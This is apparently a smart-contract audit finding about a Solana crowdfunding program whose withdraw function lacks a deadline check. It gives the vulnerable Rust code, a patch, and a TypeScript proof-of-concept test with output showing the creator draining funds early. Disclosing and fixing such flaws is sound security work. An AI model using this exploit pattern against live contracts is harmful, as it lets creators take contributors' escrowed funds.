Creator can withdraw all contributions before the campaign deadline

Summary

withdraw has no deadline check. The creator can withdraw all raised SOL immediately after any contribution, before the campaign period ends and before contributors can know whether the campaign succeeds.

Root cause and evidence

programs/rustfund/src/lib.rs:90-105 reads fund.amount_raised and directly moves that many lamports to the creator. Unlike refund, it never compares fund.deadline with the current clock.

Impact

A creator can take contributor funds at any time, defeating the crowdfunding escrow and leaving contributors unable to obtain refunds if the campaign later fails.

Minimal patch

Require the deadline to be initialized and Clock::get()?.unix_timestamp >= fund.deadline before withdrawal. Use a dedicated DeadlineNotReached error and retain the creator constraint already present in the accounts struct.

Regression test

Fund a campaign and attempt creator withdrawal one second before the deadline; it must revert and balances remain unchanged. At or after the deadline, withdrawal may proceed only if the goal condition also passes.

[H-01] No check for if campaign reached deadline before withdraw

## Description A Malicious creator can withdraw funds before the campaign's deadline. ## Vulnerability Details There is no check in withdraw if the campaign ended before the creator can withdraw funds. ```Rust pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> { let amount = ctx.accounts.fund.amount_raised; **ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.fund.to_account_info().lamports() .checked_sub(amount) .ok_or(ProgramError::InsufficientFunds)?; **ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.creator.to_account_info().lamports() .checked_add(amount) .ok_or(ErrorCode::CalculationOverflow)?; Ok(()) } ``` ## Impact A Malicious creator can withdraw all the campaign funds before deadline which is against the intended logic of the program. ## Recommendations Add check for if campaign as reached deadline before a creator can withdraw ```Rust pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> { //add this if ctx.accounts.fund.deadline != 0 && ctx.accounts.fund.deadline > Clock::get().unwrap().unix_timestamp.try_into().unwrap() { return Err(ErrorCode::DeadlineNotReached.into()); } //stops here let amount = ctx.accounts.fund.amount_raised; **ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.fund.to_account_info().lamports() .checked_sub(amount) .ok_or(ProgramError::InsufficientFunds)?; **ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.creator.to_account_info().lamports() .checked_add(amount) .ok_or(ErrorCode::CalculationOverflow)?; Ok(()) } ``` ## POC keep everything in `./tests/rustfund.rs` up on to `Contribute to fund` test, then add the below: ```TypeScript it("Creator withdraws funds when deadline is not reached", async () => { const creatorBalanceBefore = await provider.connection.getBalance(creator.publicKey); const fund = await program.account.fund.fetch(fundPDA); await new Promise(resolve => setTimeout(resolve, 150)); //default 15000 console.log("goal", fund.goal.toNumber()); console.log("fundBalance", await provider.connection.getBalance(fundPDA)); console.log("creatorBalanceBefore", await provider.connection.getBalance(creator.publicKey)); await program.methods .withdraw() .accounts({ fund: fundPDA, creator: creator.publicKey, systemProgram: anchor.web3.SystemProgram.programId, }) .rpc(); const creatorBalanceAfter = await provider.connection.getBalance(creator.publicKey); console.log("creatorBalanceAfter", creatorBalanceAfter); console.log("fundBalanceAfter", await provider.connection.getBalance(fundPDA)); }); ``` this outputs: ```Python goal 1000000000 fundBalance 537590960 creatorBalanceBefore 499999999460946370 creatorBalanceAfter 499999999960941400 fundBalanceAfter 37590960 ✔ Creator withdraws funds when deadline is not reached (398ms) ``` We can notice that the creator withdraws funds from the campaign before the deadline.
